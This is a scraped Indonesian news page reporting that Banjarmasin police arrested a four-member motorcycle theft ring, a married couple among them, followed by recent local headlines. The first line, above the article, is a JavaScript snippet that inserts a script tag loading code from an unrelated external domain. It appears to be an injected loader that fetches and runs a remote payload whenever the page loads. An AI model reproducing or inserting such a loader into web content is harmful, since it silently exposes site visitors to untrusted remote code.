(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Sindikat Curanmor Diungkap Polresta Banjarmasin, Dua Diantaranya Suami Istri


KANALKALIMANTAN.COM, BANJARMASIN – Jajaran Satreskrim Polresta Banjarmasin mengungkap pencurian kendaraan bermotor (Curanmor). Pelaku yang diketahui berjumlah empat orang beraksi sejak Agustus 2019.

Kepada awak media Senin (20/7/2020) pagi, Kapolresta Banjarmasin Kombes Pol Rachmat Hendrawan mengatakan, para pelaku ymasing-masing bernama AM, R, G dan F ini, merupakan sindikat Curanmor. Saat ini, kepolisian baru mendapati  9 unit sepeda motor yang merupakan barang bukti tindak kejahatan pelaku.

“Pelaku AM dan R telah melakukan aksinya dari bulan Agustus 2019 hingga 8 Juli 2020, sebanyak 17 kali. Yang kedua AM dan G, beraksi sebanyak 8 kali dari bulan Agustus sampai bulan Juli 2020,” kata Kombes Rachmat.

Terakhir, G bersama F yang belakangan diketahui merupakan sepasang suami istri. Keduanya ternyata telah beraksi sebanyak 3 kali, dari bulan Februari hingga Juli 2020.

 

Baca juga: Dibakar Api Cemburu, Doni Kalap Tusuk Pacar Mantan Istri

Selain di kota Banjarmasin sebanyak 20 TKP, keempat pelaku diketahui beraksi di beberapa kabupaten dan kota di Kalsel. Di mana, mereka juga beraksi di 4 TKP di kota Banjarbaru, dan masing-masing 2 TKP di Kabupaten Banjar dan Kabupaten Barito Kuala.

“Mereka ini sindikat. Saya belum mengetahui hasil pengembangan, yang jelas untuk sementara pengakuan mereka ini merupakan sindikat,” lugas Rachmat.

Baca juga: Berebut Beringin, Citra Kandidat dan Pragmatisme Politik di Pilkada Banjarmasin

Barang bukti alat pencurian yang dipergunakan sindikat Curanmor di Banjarmasin. foto: fikri

Saat melakukan aksinya, tambah Kombes Rachmat mereka melakukan hanya dengan bermodal kunci T. Setelah melakukan aksinya dengan mengumpulkan beberapa unit sepeda motor, lantas para pelaku menjualnya hingga ke daerah Banua Anam.

“Jika terkumpul 3-4 unit motor lalu dijual seharga Rp3 juta. Dijual murah Rp3 juta,” imbuh Rachmat.

Selain 9 unit sepeda motor berbagai merk yang berhasil diamankan, kepolisian juga berhasil mengamankan barang bukti lain. Diantaranya berupa kunci T sebanyak 2 unit, STNK diduga hasil tindak kejahatan sebanyak 5 unit, dan uang tunai diduga hasil penjualan sebesar Rp5,5 juta. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

Al Ghifari

Recent Posts

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

9 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

9 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

11 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

15 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

16 jam ago

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

1 hari ago

This website uses cookies.